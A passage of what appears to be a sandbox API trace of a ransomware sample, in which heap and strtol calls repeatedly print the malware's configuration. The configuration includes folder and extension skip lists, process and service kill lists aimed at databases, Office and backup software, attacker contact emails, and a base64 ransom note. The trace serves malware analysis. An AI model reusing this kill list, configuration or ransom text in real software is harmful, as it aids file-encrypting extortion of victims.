kZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 16534 [0153.004] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f72598, Size=0x10) returned 0x2f72490 [0153.005] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f77350 [0153.005] strtol (in: _Str="10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x2c3f874, _Radix=0 | out: _EndPtr=0x2c3f874*=",\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 10 [0153.005] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f72490, Size=0x14) returned 0x2f77190 [0153.005] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f77370 [0153.005] strtol (in: _Str="6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x2c3f874, _Radix=0 | out: _EndPtr=0x2c3f874*=", \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 6 [0153.005] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f77190, Size=0x18) returned 0x2f77170 [0153.005] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f771d0 [0153.005] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4) returned 0x2f768f8 [0153.005] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f77390 [0153.005] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4) returned 0x2f76908 [0153.005] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f773b0 [0153.005] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f76908, Size=0x8) returned 0x2f7f5b8 [0153.005] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f771f0 [0153.005] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f7f5b8, Size=0xc) returned 0x2f726a0 [0153.005] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f77190 [0153.005] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f726a0, Size=0x10) returned 0x2f72400 [0153.005] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f77050 [0153.005] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f72400, Size=0x14) returned 0x2f770b0 [0153.005] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f770f0 [0153.005] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f770b0, Size=0x18) returned 0x2f771b0 [0153.005] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f77090 [0153.005] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f771b0, Size=0x1c) returned 0x2f78a88 [0153.005] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f77210 [0153.005] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f78a88, Size=0x20) returned 0x2f78b28 [0153.005] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f77250 [0153.005] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f78b28, Size=0x24) returned 0x2f71f18 [0153.005] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f770b0 [0153.005] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f71f18, Size=0x28) returned 0x2f71f78 [0153.005] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f77270 [0153.005] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f71f78, Size=0x2c) returned 0x2f6bb30 [0153.005] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f770d0 [0153.005] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6bb30, Size=0x30) returned 0x2f6bd98 [0153.005] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f77110 [0153.005] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f6bd98, Size=0x34) returned 0x2f80020 [0153.006] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f77130 [0153.006] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f80020, Size=0x38) returned 0x2f7fba0 [0153.006] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f77150 [0153.006] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f7fba0, Size=0x3c) returned 0x2f70348 [0153.006] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f771b0 [0153.006] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f70348, Size=0x40) returned 0x2f70108 [0153.006] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f570 [0153.006] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f70108, Size=0x44) returned 0x2f72d98 [0153.006] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f8b0 [0153.006] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f768f8, Size=0x8) returned 0x2f76908 [0153.006] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f590 [0153.006] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4) returned 0x2f768f8 [0153.006] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f7f5d0 